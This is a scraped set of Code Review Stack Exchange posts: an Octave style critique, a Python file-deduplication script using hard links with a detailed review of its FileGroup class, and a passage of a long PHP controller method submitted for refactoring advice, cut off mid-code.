[ { "body": "<p>Why use global variables? Why not pass those values into the function as arguments?</p>\n\n<pre><code>sample_features = 2 .* ( rand( 10 , 3 ) .- 0.5 ) ;\nsample_targets = [ 1 ; 1 ; 1 ; 1 ; 0 ; 0 ; 0 ; 0 ; 1 ; 0 ] ;\nx = [ 3 , 1 , 3 , 0.9 , 1 , 0.1 ] ; \nJ = rvfl_training_of_cyclic_embedding ( x, sample_features, sample_targets ) ;\n</code></pre>\n\n<p>Global variables make debugging harder and actually slow down the code. You should avoid them where possible. Here they don't do anything special, to me it looks like a lazy solution to a simple problem.</p>\n\n<p>To call your optimization algorithm with this function, simply do</p>\n\n<pre><code>fun = @( x ) rvfl_training_of_cyclic_embedding ( x, sample_features, sample_targets );\n</code></pre>\n\n<hr>\n\n<p>The function does</p>\n\n<pre><code>rand( 'seed' , 0 ) ;\nrandn( 'seed' , 0 ) ;\n</code></pre>\n\n<p>at the beginning and</p>\n\n<pre><code>rand( 'state' ) ; randn( 'state' ) ; ## reset rng\n</code></pre>\n\n<p>at the end. This is a really bad practice. <code>rand('seed',0)</code> sets the random number generator to the <code>'seed'</code> method, which is an old-fashioned RNG with really poor properties. <code>rand('state')</code> returns it to the <code>'state'</code> method, which is the Mersenne Twister according to the <a href=\"https://octave.sourceforge.io/octave/function/rand.html\" rel=\"nofollow noreferrer\">documentation</a>. The only reason to use the old generator is to reproduce old results. Please don't use it!</p>\n\n<hr>\n\n<p>Style:</p>\n\n<p>I have been using MATLAB since somewhere in the 1990's. I like the Octave project, but I dislike a few additions to the language they made. Using these additions corners your code making it unavailable to us MATLAB users. If instead of using <code>endif</code> and <code>endfor</code> you simply write <code>end</code>, and instead of using <code>#</code> for comments you use <code>%</code>, then your code can more or less directly run under MATLAB. The <code>endfor</code> addition seems pointless to me, indenting should show what the <code>end</code> applies to. The <code>#</code> comments are also highly unnecessary IMO.</p>\n\n<p>If you write a comment block at the beginning of your function (either before or after the <code>function</code> line) then that block will be displayed when you type <code>help rvfl_training_of_cyclic_embedding</code>. </p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-13T12:59:44.950", "Id": "233973", "ParentId": "231969", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T17:13:32.660", "Id": "231969", "Score": "4", "Tags": [ "octave" ], "Title": "Correct implementation of Akaike Information criteria in Octave function?" }
231969
<p>About a year ago, I wrote a Python script that enumerates all the files in a directory, partitions them based on a couple of criteria (file size, a custom byte-signature of the file, hash, ...) and finally creates hardlinks between identical files. The partitioning is intended to minimise the number of full-file comparisons that are performed. There's also a progress reporter using multiple progress bars on the terminal.</p> <p>I think it's high time this code is viewed from a different perspective, so please provide a thorough review. Feel free to tear it apart completely, I've long forgotten this code existed. Off the bat, I can already see multiple issues with it, but I don't want to influence the review. I'm hoping to find new flaws in my coding style.</p> <p>As for design decisions that went into this code: It ran on a corpus of multiple hundreds of files of varying sizes, totalling nearly 10TB of data. Files were of different types, some textual, some binary. There were also many files of the exact same size, I can't remember concrete numbers but I believe many groups contained tens of thousands of files, some over 100.000. So that's why there is an additional partitioning on "byte signatures". I chose to extract these signatures from the middle of the file rather than the beginning or the end to account for file headers etc. The data storage solution was HDDs, in RAID 0 configuration. In the end I think it ran in about 30 minutes, but my memory is cloudy.</p> <p>A couple of practical considerations: I believe third-party requirements are <a href="https://pypi.org/project/tqdm/" rel="noreferrer">tqdm</a> and <a href="https://pypi.org/project/filehash/" rel="noreferrer">filehash</a> only. I'll also put a <code>pyproject.toml</code> for use with Poetry at the end.</p> <p>The script:</p> <pre class="lang-py prettyprint-override"><code>#!/usr/bin/env python3 """ Deduper A Python script to find duplicate files and create hard links to dedupe these files. It achieves this task in 6 steps: 1. List all files in the given directories 2. Partition the files into :class:`FileGroup`s, which group together multiple files with the same inode 3. Partition the file groups into :class:`FileBag`s based on the file size of the files 4. Further partition each file bag based on the first bytes of the files 5. Further partition each file bag based on the xxHash checksums of the files 6. (optional) Hard link each file in the equivalent file bags. NOTE: Multiple devices are currently NOT supported """ # pylint: disable=line-too-long import os import errno import filecmp import sys from time import time from tqdm import tqdm from filehash import FileHash __docformat__ = 'reStructuredText' # Amount of first bytes to read. Lower values will lead to more comparisons # and more hashes to compute. Higher values will lead to more memory consumption NUM_BYTES = 10 CHUNK_SIZE = 2 ** 12 def readable_bytes(num_bytes): """ Turn a byte count into a human readable byte count, as a string :param int num_bytes: The byte count to convert :returns: A human-readable number of bytes :rtype: str """ # https://stackoverflow.com/a/1094933 for unit in ['B', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(num_bytes) &lt; 1024.0: return ('{0:.1f}{1}').format(num_bytes, unit) num_bytes /= 1024.0 return '{0:4.0f}Y'.format(num_bytes) def truncate_or_pad_string(string, max_length): """ Truncate a string in the middle, replacing the middle contents with a single character ellipsis, or pad it with whitespace at the end to ensure it fills exactly max_length characters. It is recommended to set max_length to an uneven number, so that we can account for the ellipsis character. Otherwise, max_length will be decreased by one. :param str string: The string to truncate :param int max_length: The maximum length of the string :returns: The formatted string """ if len(string) &lt;= max_length: return string.ljust(max_length) max_length = max_length - 1 if max_length % 1 else max_length slice_chars = (max_length - 1) // 2 return '{0}…{1}'.format(string[:slice_chars], string[-slice_chars:]) class IOProgress: """ A class to print progress of multithreaded I/O operations """ def __init__(self, total_items, total_processors, task_description, task_unit, subtask_unit): # pylint: disable=too-many-arguments super().__init__() self.total_items = total_items self.total_processors = total_processors self.main_pbar = tqdm(total=total_items, desc=task_description, unit=' {0}'.format(task_unit), ncols=150, bar_format='{desc}: {percentage:3.0f}% |{bar}| ' '{n_fmt}/{total_fmt} [Elapsed: {elapsed}s, ' 'ETA: {remaining}s, {rate_fmt}]') self.worker_pbars = [tqdm(unit=' {0}'.format(subtask_unit), ncols=100, unit_scale=True, position=i + 2, bar_format='#' + str(i) + ': {desc}{percentage:3.0f}% |{bar}| ' '{n_fmt:&gt;6}/{total_fmt:&gt;6} ' '[ETA {remaining:&gt;5}s, {rate_fmt:&gt;9}]', leave=False) for i in range(total_processors)] def start_task(self, processor_no, task_name, task_size): """ Notify the progress printer of a newly started task :param int processor_no: The index of the processor starting the task :param str task_name: The name of the task :param int task_size: The size of the task """ pbar = self.worker_pbars[processor_no] pbar.n = 0 pbar.total = task_size pbar.start_t = time() pbar.set_description(truncate_or_pad_string(task_name, 21)) pbar.refresh() def chunk_processed(self, processor_no, chunk_size): """ Notify the progress printer that a chunk of a certain size has finished processing :param int processor_no: The index of the processor starting the task :param int chunk_size: The size of the chunk that is finished """ pbar = self.worker_pbars[processor_no] pbar.n += chunk_size pbar.refresh() def task_finished(self): """ Notify the progress printer that a task has finished processing """ self.main_pbar.n += 1 self.main_pbar.refresh() def processor_finished(self, processor_no): """ Notify the progress printer that a process has finished and its progress bar can be removed """ # Remove current progress bar self.worker_pbars[processor_no].close() def cleanup(self): """ Remove traces of progress bars """ self.main_pbar.close() class FileGroup: """ A file group groups together multiple directory entries with the same inode. :ivar list[str] files: The absolute paths to the files in this file group :ivar int inode: The inode for the file group :ivar int size: The file size for the file group :ivar bytes _byte_signature: The byte signature of the files, lazily generated :ivar int _hash: A hash value for the files, lazily generated """ def __init__(self, first_file, inode, size): self.files = [first_file] self.inode = inode self.size = size self._byte_signature = None self._hash = None def add_file(self, new_file): """ Add a file to a file group :param str new_file: Absolute path to the new file """ self.files.append(new_file) def get_byte_signature(self): """ Get the byte signature for the files. For file groups of the same size, this signature will be taken from the same range of the files. :returns: A NUM_BYTES byte signature of the files :rtype bytes: """ if not self._byte_signature: self._read_byte_signature() return self._byte_signature def get_hash(self): """ Get the hash for the files :returns: The hash of the files :rtype int: """ if not self._hash: self._compute_hash() return self._hash def _read_byte_signature(self): """ Read the byte signature of the files """ with open(self.files[0], 'rb') as handle: # Read bytes in the middle of the file # Reading from the beginning would be ineffective when there are headers involved # Reading from the end would be ineffective when there is padding involved handle.seek(self.size // 2) self._byte_signature = handle.read(NUM_BYTES) def _compute_hash(self): """ Compute the hash of the files """ self._hash = FileHash('sha1').hash_file(self.files[0]) class FileBag: """ A file bag groups together similar/identical file groups :ivar list[FileGroup] file_groups: The file groups in the bag """ _processor_no = 0 def __init__(self): self.file_groups = [] def add(self, file_group): """ Add a file group """ self.file_groups.append(file_group) def is_unique(self): """ A file bag is unique if it has only one file group """ return len(self.file_groups) == 1 def partition_on_bytes(self, io_progress): """ Partition the file bag based on the byte signatures of the file groups :returns: A list of new file bags, without unique file bags :rtype: list[FileBag] """ old_file_bags = [self] new_file_bags = {} file_groups_discarded = 0 for num_bytes in range(1, NUM_BYTES + 1): io_progress.start_task(self._processor_no, str.format('Bag {0} Pass {1}', readable_bytes(self.file_groups[0].size), num_bytes), len(self.file_groups)) io_progress.chunk_processed(self._processor_no, file_groups_discarded) for file_bag in old_file_bags: if not file_bag.is_unique(): for file_group in file_bag.file_groups: byte_sig = file_group.get_byte_signature()[:num_bytes] if byte_sig not in new_file_bags: new_file_bags[byte_sig] = FileBag() new_file_bags[byte_sig].add(file_group) io_progress.chunk_processed(self._processor_no, 1) else: file_groups_discarded += 1 io_progress.chunk_processed(self._processor_no, 1) old_file_bags = list(new_file_bags.values()) new_file_bags = {} io_progress.task_finished() return [fb for fb in old_file_bags if not fb.is_unique()] def partition_on_hash(self, io_progress): """ Partition the file bag based on the hashes of the file groups :returns: A list of new file bags, without unique file bags :rtype: list[FileBag] """ io_progress.start_task(self._processor_no, 'Bag {0}'.format(readable_bytes(self.file_groups[0].size)), len(self.file_groups)) new_file_bags = {} if not self.is_unique(): for file_group in self.file_groups: hash_ = file_group.get_hash() if hash_ not in new_file_bags: new_file_bags[hash_] = FileBag() new_file_bags[hash_].add(file_group) io_progress.chunk_processed(self._processor_no, 1) io_progress.task_finished() return [fb for fb in new_file_bags.values() if not fb.is_unique()] def link_groups(self): """ Hard link all files from the file groups to each other Ask for user confirmation first, optionally perform a byte-by-byte check """ for group in self.file_groups[1:]: target = self.file_groups[0].files[0] # if self.file_groups[0].size != 0: # resp = input('Will link {0} to {1}, okay? [y/N] '.format(group.files[0], target)) # else: # print('Linking empty file {0} to {1}'.format(group.files[0], target)) # resp = 'y' # if resp.lower() == 'y': # link_files(group.files, target) # elif assure_files_identical(target, group.files[0]): # resp = input('Are you sure? Files are identical based on byte-by-byte comparison [y/N]') # if resp.lower() == 'y': # link_files(group.files, target) # else: # print('Good call! Files are not identical.') if assure_files_identical(target, group.files[0]): print('Linking {0} to {1}'.format(group.files[0], target)) link_files(group.files, target) def assure_files_identical(a_file, another_file): """ Perform byte-by-byte comparison of files """ return filecmp.cmp(a_file, another_file) def link_files(files_to_link, target): """ Link files :param list[str] files_to_link: The files to link :param str target: The target to link to """ for file_to_link in files_to_link: if not isinstance(file_to_link, str): print('Was supplied a bad path: {0}: {1}'.format(type(file_to_link), file_to_link)) try: os.unlink(file_to_link) except OSError as ose: if ose.errno != errno.ENOENT: print('Failed to remove file: {0}'.format(ose)) continue try: os.link(target, file_to_link) except OSError as ose: print('Failed to link: {0}'.format(ose)) def scan_directory(directory, file_groups): """ Scan a directory """ for entry in os.scandir(directory): if entry.is_file() and entry.stat().st_size != 0: inode = entry.inode() if inode in file_groups: file_groups[inode].add_file(entry.path) else: file_groups[inode] = FileGroup(entry.path, inode, entry.stat().st_size) elif entry.is_dir(): scan_directory(entry.path, file_groups) def dedupe(directories): """ Dedupe the files in the given directories. Note that directories should have absolute paths. Directories may be an iterable """ file_groups = {} num_file_groups = 0 for directory in directories: print('Scanning {0}'.format(directory)) scan_directory(directory, file_groups) num_file_groups = len(file_groups) print(str.format('Found {0} unique file groups, totalling {1} files', num_file_groups, sum(len(fg.files) for fg in file_groups.values()))) file_bags = {} for group in tqdm(file_groups.values(), desc='Partitioning based on size', unit=' groups', ncols=150, bar_format='{desc}: {percentage:3.0f}% |{bar}| ' '{n_fmt}/{total_fmt} [Elapsed: {elapsed}s, ' 'ETA: {remaining}s, {rate_fmt}]'): if group.size not in file_bags: file_bags[group.size] = FileBag() file_bags[group.size].add(group) # Already remove unique bags file_bags = [bag for bag in file_bags.values() if not bag.is_unique()] old_num_file_groups = num_file_groups num_file_groups = sum(len(b.file_groups) for b in file_bags) print(str.format('Partitioned into {0} bags and {1} file groups. {2} eliminated', len(file_bags), num_file_groups, old_num_file_groups - num_file_groups)) signature_progress = IOProgress(len(file_bags), 1, 'Partitioning based on byte signature', 'bags', 'groups') new_file_bags = [] for file_bag in file_bags: new_file_bags.extend(file_bag.partition_on_bytes(signature_progress)) signature_progress.processor_finished(0) signature_progress.cleanup() old_num_file_groups = num_file_groups num_file_groups = sum(len(b.file_groups) for b in new_file_bags) print(str.format('\rPartitioned into {0} bags and {1} file groups. {2} eliminated', len(new_file_bags), num_file_groups, old_num_file_groups - num_file_groups)) file_bags = new_file_bags new_file_bags = [] hash_progress = IOProgress(len(file_bags), 1, 'Partitioning based on hash', 'bags', 'groups') for file_bag in file_bags: new_file_bags.extend(file_bag.partition_on_hash(hash_progress)) hash_progress.processor_finished(0) hash_progress.cleanup() old_num_file_groups = num_file_groups num_file_groups = sum(len(b.file_groups) for b in new_file_bags) print(str.format('\rPartitioned into {0} bags and {1} file groups. {2} eliminated', len(new_file_bags), num_file_groups, old_num_file_groups - num_file_groups)) for bag in new_file_bags: bag.link_groups() if __name__ == '__main__': dedupe(map(os.path.abspath, sys.argv[1:])) </code></pre> <p><code>pyproject.toml</code>:</p> <pre><code>[tool.poetry] name = "deduper" version = "0.1.0" description = "" authors = ["ROpdebee"] [tool.poetry.dependencies] python = "^3.7" [build-system] requires = ["poetry&gt;=0.12"] build-backend = "poetry.masonry.api" </code></pre> <p>Have fun!</p>
[]
[ { "body": "<p>Just reviewing the <code>FileGroup</code> class.</p>\n\n<h3>1. Review</h3>\n\n<ol>\n<li><p>The name <code>FileGroup</code> does not convey the intended purpose of the class (namely, that all the files in the group share an inode). A name like <code>InodeFiles</code> would be better.</p></li>\n<li><p>The intention of the class is that all the files share an inode. But the class itself does not check this: it relies on the caller to do so. It is more reliable when a data structure checks its own integrity.</p></li>\n<li><p>Adding a file to a <code>FileGroup</code> needs to be done differently depending on whether it is the first file in the group (in which case you pass its path, inode and size to the constructor), or a subsequent file in the group, in which case you call the <code>add_file</code> method, passing the path only. This causes difficulties at the point where the class is used: you have to check <code>if inode in file_groups:</code> before deciding which approach to use. It would be simpler if adding files to the collection were done in the same way for each file.</p></li>\n<li><p>If you look at the only place where <code>FileGroup</code> is used, it is initialized based on an <a href=\"https://docs.python.org/3/library/os.html#os.DirEntry\" rel=\"nofollow noreferrer\"><code>os.DirEntry</code></a> object. So it would be simpler for it to collect <code>os.DirEntry</code> objects instead of paths.</p></li>\n<li><p>If you implemented suggestions §3 and §4, then there would not need to be a difference between the first file and subsequent files, and in <code>dedupe</code> you could use <a href=\"https://docs.python.org/3/library/collections.html#collections.defaultdict\" rel=\"nofollow noreferrer\"><code>collections.defaultdict</code></a>:</p>\n\n<pre><code>file_groups = collections.defaultdict(FileGroup)\n</code></pre>\n\n<p>and in <code>scan_directory</code> you would write:</p>\n\n<pre><code>if entry.is_file() and entry.stat().st_size != 0:\n file_groups[inode].add(entry)\n</code></pre>\n\n<p>with no need for the <code>else</code> clause.</p></li>\n<li><p>The expression <code>files[0]</code> appears in many places. I would suggest using a property with a docstring to clarify the intention:</p>\n\n<pre><code>@property\ndef representative(self):\n \"\"\"A representative file from the collection.\"\"\" \n return self.files[0]\n</code></pre></li>\n<li><p>The method <code>get_hash</code> takes no arguments and always returns the same result. This suggests that it should be a property:</p>\n\n<pre><code>@property\ndef hash(self):\n # etc.\n</code></pre></li>\n<li><p><code>get_hash</code> uses a cache to avoid recomputing the result:</p>\n\n<pre><code>def get_hash(self):\n if not self._hash:\n self._compute_hash()\n return self._hash\n</code></pre>\n\n<p>The cache logic can be simplified using the <a href=\"https://docs.python.org/3/library/functools.html#functools.cached_property\" rel=\"nofollow noreferrer\"><code>@cached_property</code></a> decorator:</p>\n\n<pre><code>@cached_property\ndef hash(self):\n return self._compute_hash()\n</code></pre>\n\n<p>The <code>@cached_property</code> decorator was new in Python 3.8. In earlier versions you can get a similar effect by composing <code>@property</code> with <a href=\"https://docs.python.org/3/library/functools.html#functools.lru_cache\" rel=\"nofollow noreferrer\"><code>@functools.lru_cache</code></a>:</p>\n\n<pre><code>def cached_property(fn):\n return property(functools.lru_cache(maxsize=None)(fn))\n</code></pre>\n\n<p>(This implementation is not quite the same as the one in Python 3.8, in that all instances of the class share a single cache, which might not be appropriate for some use cases, but I think it will be fine in your particular case.)</p></li>\n<li><p>Having made a cached property, there's no point having a separate <code>_compute_hash</code> method.</p></li>\n<li><p>Similar remarks apply to the <code>get_byte_signature</code>, which can become the cached property <code>signature</code>, avoiding the need for a separate <code>_read_byte_signature</code> method.</p></li>\n<li><p>The <code>_read_byte_signature</code> method reads and hashes <code>NUM_BYTES</code> bytes starting at <code>self.size // 2</code>. But if <code>self.size</code> is less than <code>2 * NUM_BYTES</code>, the read will be short. In these cases I would prioritize reading more bytes, so I suggest something like:</p>\n\n<pre><code>handle.seek(min(self.size // 2, max(self.size - NUM_BYTES, 0)))\n</code></pre></li>\n<li><p>Using the <code>filehash</code> package is overkill since you could implement what you need in a handful of lines using the built-in <a href=\"https://docs.python.org/3/library/hashlib.html\" rel=\"nofollow noreferrer\"><code>hashlib</code></a> module:</p>\n\n<pre><code>import hashlib\n\ndef filehash(algorithm, fileobj):\n \"\"\"Return hash object corresponding to the contents of a file hashed\n using the specified algorithm.\n\n \"\"\"\n hashobj = hashlib.new(algorithm)\n while True:\n chunk = fileobj.read(4096)\n if not chunk:\n return hashobj\n hashobj.update(chunk)\n</code></pre>\n\n<p>(It's always tempting to use third-party packages for the convenience, even if it only replaces a few lines of code, but extra dependencies come with maintenance burdens that should be offset against the benefits.)</p></li>\n<li><p>It is inconsistent that <code>get_hash</code> returns a string (the hexdigest of the hash) while <code>get_byte_signature</code> returns a bytes object. It would make more sense to use the digest instead of the hexdigest, so that both results are bytes objects. This would allow them to be treated the same by other parts of the program.</p></li>\n</ol>\n\n<h3>2. Revised code</h3>\n\n<p>(You'll have to make the docstrings conform to your preferred style, but that should be straightforward.)</p>\n\n<pre><code>class InodeFiles:\n \"\"\"Collection of os.DirEntry objects for files that share an inode.\"\"\"\n def __init__(self):\n self.files = []\n self.inode = None\n\n def add(self, entry):\n \"\"\"Add file (an os.DirEntry object) to collection.\"\"\"\n if self.inode is None:\n self.inode = entry.inode()\n elif self.inode != entry.inode():\n raise ValueError(\"Inode does not match.\")\n self.files.append(entry)\n\n @property\n def representative(self):\n \"\"\"A representative file from the collection, as an os.DirEntry object.\"\"\"\n return self.files[0]\n\n @property\n def size(self):\n \"\"\"Size of the files (in bytes).\"\"\"\n return self.representative.stat().st_size\n\n @cached_property\n def hash(self):\n \"\"\"SHA1 hash of the files, as a bytes object.\"\"\"\n with open(self.representative, 'rb') as f:\n return filehash('sha1', f).digest()\n\n @cached_property\n def signature(self):\n \"\"\"Signature of the files, as a bytes object.\"\"\"\n with open(self.representative, 'rb') as f:\n f.seek(min(self.size // 2, max(self.size - NUM_BYTES, 0)))\n return f.read(NUM_BYTES)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T08:22:06.633", "Id": "453219", "Score": "0", "body": "Thanks for the review! I completely agree with your points, and the improved version looks a lot nicer. I was initially thinking this code should use `pathlib`, but the `os.DirEntry` class would make a better fit indeed. I'll leave the question open for just a little bit longer to see if anyone else has some input, but this review is really great! Thanks!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-09T21:59:31.913", "Id": "232126", "ParentId": "231971", "Score": "4" } } ]
{ "AcceptedAnswerId": "232126", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T17:59:49.187", "Id": "231971", "Score": "9", "Tags": [ "python", "python-3.x", "object-oriented", "console", "file-system" ], "Title": "Deduplication by hard-linking files in multiple directories" }
231971
<p>I have made custom basic MVC using index-php. I have a very long add function which does alot of things. sanitisation, validating, more checking data etc.. finally input new records. Sometimes the add can be huge so what i have done is create a background task which does some of this at a later time run independently from web service. How can i make this more reusable or easier to understand what is happening other thaa put comments and or optimise to make faster</p> <p>function in controller</p> <pre><code>public function add() { $request = $this-&gt;requestData; $method = 'request_exemption'; $request-&gt;set('method', $method); $request-&gt;set('quiet', 1); $this-&gt;responseData = ''; $this-&gt;dbdataCount = false; global $CFG; $method = new Method($method, [], [], $request); $response = $method-&gt;getResponse(); if (! $response['error']) { $exemption_type = $request-&gt;get('exemption_type'); $market_id = (int) $request-&gt;get('market'); $service_domain = $request-&gt;get('service_domain'); $service_id = ($request-&gt;get('service_id') != '') ? (int) $request-&gt;get('service_id') : ''; $demand_ref = $request-&gt;get('demand_ref'); $name = $request-&gt;get('name'); $description = $request-&gt;get('description'); $comms_matrix_id = ($request-&gt;get('comms_matrix_id') != '') ? (int) $request-&gt;get('comms_matrix_id') : ''; $requestor = $request-&gt;get('requestor'); $business_priority = $request-&gt;get('business_priority'); $expiry_date = $request-&gt;get('expiry_date'); $designdoc = $request-&gt;get('designdoc'); $known_contact = $request-&gt;get('known_contact'); $on_behalf_of = ($request-&gt;get('on_behalf_of') !== null) ? $request-&gt;get('on_behalf_of') : ''; if ($service_id === 0) { // null for global exemption $service_id = null; } if ($comms_matrix_id === 0) { // null for global exemption $comms_matrix_id = null; } if (! empty($comms_matrix_id)) { $user = new User(); $sysprivusers = new SysPrivUsers(); if ($sysprivusers-&gt;isSystemUser($user-&gt;getUsername())) { $isMemberOrUploaded = $user-&gt;isMemberOrUploaded((int) $comms_matrix_id); if ($isMemberOrUploaded['uploaded_by'] === null &amp;&amp; $isMemberOrUploaded['member_of'] === null) { $response['error'] = true; $response['message'] = 'You are not authorised'; $this-&gt;log-&gt;error($isMemberOrUploaded); $this-&gt;log-&gt;error($user-&gt;getUsername()); foreach ($response as $key =&gt; $value) { $this-&gt;{$key} = $value; unset($response[$key]); } return $this; } } } else { $user = new User(); if(empty($service_id) &amp;&amp; empty($comms_matrix_id)){ if (!$user-&gt;isSecArchUser()) { $response['error'] = true; $response['message'] = 'You are not authorised'; $this-&gt;log-&gt;error(&quot;isNotSecArch:&quot; . $user-&gt;getUsername() . &quot; : &quot; . $user-&gt;isSecArchUser()); foreach ($response as $key =&gt; $value) { $this-&gt;{$key} = $value; unset($response[$key]); } return $this; } } if ($user-&gt;isLocalMarket()) { $response['error'] = true; $response['message'] = 'You are not authorised'; $this-&gt;log-&gt;error(&quot;isLocalMarket:&quot; . $user-&gt;getUsername() . &quot; : &quot; . $user-&gt;isLocalMarket()); foreach ($response as $key =&gt; $value) { $this-&gt;{$key} = $value; unset($response[$key]); } return $this; } } $validate = new Validation(); $params = [ 'exemption_type' =&gt; $exemption_type, 'market_id' =&gt; $market_id, 'service_domain' =&gt; $service_domain, 'demand_ref' =&gt; $demand_ref, 'exemption_name' =&gt; $name, 'exemption_description' =&gt; $description, 'requestor' =&gt; $requestor, 'business_priority' =&gt; $business_priority, 'expiry_date' =&gt; $expiry_date, 'designdoc' =&gt; $designdoc, 'known_contact' =&gt; $known_contact ]; if ($service_id) { // global and service exemptions will have a null service id $params['service_id'] = $service_id; } if ($comms_matrix_id) { // global and service exemptions will have a null comms matrix id $params['comms_matrix_id'] = $comms_matrix_id; } if (isset($params['comms_matrix_id'])) { $params['comms_matrix_id_exemptions'] = $params['comms_matrix_id']; unset($params['comms_matrix_id']); } if (isset($params['service_id'])) { $params['service_id_exemptions'] = $params['service_id']; unset($params['service_id']); } if (isset($params['description'])) { $params['exemption_description'] = $params['description']; unset($params['description']); } $valid = $validate-&gt;validateForm($params); if (isset($params['comms_matrix_id_exemptions'])) { $params['comms_matrix_id'] = $params['comms_matrix_id_exemptions']; unset($params['comms_matrix_id_exemptions']); } if (isset($params['service_id_exemptions'])) { $params['service_id'] = $params['service_id_exemptions']; unset($params['service_id_exemptions']); } if (isset($params['exemption_description'])) { $params['description'] = $params['exemption_description']; unset($params['exemption_description']); } // add notify users if ($on_behalf_of != '') { $emails = preg_split('/[;, ]\s{0,1}/', $on_behalf_of); foreach ($emails as $email) { $email = trim($email); // check if email is valid in ldap $ldap = new LDAP(); $connect = $ldap-&gt;ldapConnect($CFG-&gt;ldap_host, $CFG-&gt;adsvcuser); $filter = &quot;(mail=$email)&quot;; $read = ldap_search($connect, $CFG-&gt;ldap_basedn, $filter, array( &quot;mail&quot; )) or header('Location: /error.html'); $entries = ldap_get_entries($connect, $read); if ($entries['count'] === 0) { $response['error'] = true; $valid .= &quot;Email not found - {$email}&quot;; } } } // check if no worker jobs processing before allowing user to create exemption if (empty($valid) &amp;&amp; ! empty($comms_matrix_id) &amp;&amp; $comms_matrix_id &gt; 0) { $workerJobs = new WorkerJobs(); $count = $workerJobs-&gt;fetchAllArray(null, [ 'job' =&gt; [ 'IN', [ 'routingAnalysisNitx', 'reAnalyze', 'aggregateFlows', 'securityExemptionApprove' ] ], 'flag' =&gt; [ 'IN', [ 'Q', 'P' ] ], 'arg1' =&gt; $comms_matrix_id ]); if (count($count) &gt; 0) { $valid = &quot;CM is currently processing&quot;; $this-&gt;log-&gt;error($count); } } if(!empty($valid)){ $response['error'] = true; $response['message'] = $valid; $this-&gt;log-&gt;error($valid . &quot; : $comms_matrix_id&quot;); }else{ $params['name'] = $name; $params['description'] = $description; $db = new DatabaseConnection(); //look up ids $sql = &quot;SELECT id FROM &quot;.DBUSER.&quot;.service_domains WHERE TRIM(name) = :name&quot;; $binds = [':name' =&gt; [$service_domain,50,SQLT_CHR]]; $service_domain_id = $db-&gt;executeToSingleCell($sql,$binds); $sql = &quot;SELECT id FROM &quot;.DBUSER.&quot;.exemption_types WHERE TRIM(name) = :name&quot;; $binds = [':name' =&gt; [$exemption_type,32,SQLT_CHR]]; $exemption_type_id = $db-&gt;executeToSingleCell($sql,$binds); $sql = &quot;SELECT id FROM &quot;.DBUSER.&quot;.sys_list_business_priority WHERE TRIM(name) = :name&quot;; $binds = [':name' =&gt; [$business_priority,20,SQLT_CHR]]; $business_priority_id = $db-&gt;executeToSingleCell($sql,$binds); $exemption_status = 'Requested'; $sql = &quot;SELECT id, name FROM &quot;.DBUSER.&quot;.sys_list_exemption_status WHERE TRIM(name) = :name&quot;; $binds = [':name' =&gt; [$exemption_status,20,SQLT_CHR]]; $exemption_status_id = $db-&gt;executeToSingleCell($sql,$binds); $data = [ 'service_id' =&gt; $service_id, 'comms_matrix_id' =&gt; $comms_matrix_id, &quot;exemption_type_id&quot; =&gt; $exemption_type_id, &quot;market_id&quot; =&gt; $market_id, &quot;service_domain_id&quot; =&gt; $service_domain_id, &quot;demand_ref&quot; =&gt; $demand_ref, &quot;name&quot; =&gt; $name, &quot;description&quot; =&gt; $description, &quot;requestor&quot; =&gt; $requestor, &quot;business_priority_id&quot; =&gt; $business_priority_id, &quot;exemption_status_id&quot; =&gt; $exemption_status_id, &quot;expiry_date&quot; =&gt; $expiry_date, &quot;hits&quot; =&gt; 0, &quot;designdoc&quot; =&gt; $designdoc, &quot;known_contact&quot; =&gt; $known_contact ]; if(isset($params['comms_matrix_id'])){ $params['comms_matrix_id_exemptions'] = $params['comms_matrix_id']; unset($params['comms_matrix_id']); } if(isset($params['service_id'])){ $params['service_id_exemptions'] = $params['service_id']; unset($params['service_id']); } if(isset($params['name'])){ $params['exemption_name'] = $params['name']; unset($params['name']); } if(isset($params['description'])){ $params['exemption_description'] = $params['description']; unset($params['description']); } $valid = $validate-&gt;validateForm($params); if(isset($params['comms_matrix_id_exemptions'])){ $params['comms_matrix_id'] = $params['comms_matrix_id_exemptions']; unset($params['comms_matrix_id_exemptions']); } if(isset($params['service_id_exemptions'])){ $params['service_id'] = $params['service_id_exemptions']; unset($params['service_id_exemptions']); } if(isset($params['exemption_name'])){ $params['name'] = $params['exemption_name']; unset($params['exemption_name']); } if(isset($params['exemption_description'])){ $params['description'] = $params['exemption_description']; unset($params['exemption_description']); } if(!empty($valid)){ $response['error'] = true; $response['message'] = $valid; $this-&gt;log-&gt;error($response); }else{ $model = new Exemptions(); unset($data[&quot;description&quot;]);//$this-&gt;log-&gt;debug($data); $dbData = $model-&gt;fetchAllArray(['COUNT(*) COUNT'],$data); if((int)$dbData[0]['count'] &gt; 0){ $response ['error'] = true; $response ['message'] = &quot;Entry exists&quot;; $this-&gt;log-&gt;error($response); }else{ if($data['comms_matrix_id'] &gt; 0){ //check to make sure there are denied flows $vCommsMatrices = new VCommsMatrices($data['comms_matrix_id']); $cmd = new CommsMatrixData(); $countCMD = $cmd-&gt;fetchAllArray(['COUNT(*) COUNT'], [ 'comms_matrix_id'=&gt;$data['comms_matrix_id'], 'spa'=&gt; ['OR',[['IN',['Deny'],'spa'],['IN',['Deny'],'fpa']]], &quot;trunc(ts_created,'hh24')&quot;=&gt;[ ['&gt;=',&quot;trunc(to_date('&quot;.$vCommsMatrices-&gt;fieldVals['TS_CREATED'].&quot;','dd-Mon-YY HH24:MI:SS') ,'hh24')&quot;], ['&lt;=',&quot;trunc(to_date('&quot;.$vCommsMatrices-&gt;fieldVals['TS_UPDATED'].&quot;','dd-Mon-YY HH24:MI:SS') ,'hh24')&quot;] ] ]); if((int)$countCMD[0]['count'] == 0){ $this-&gt;error = true; $this-&gt;message = &quot;There are no deny flows to raise exemption on for this comms matrix&quot;; return $this; } //check to make sure there are no worker jobs or re analysing $countCMD = $cmd-&gt;fetchAllArray(['COUNT(*) 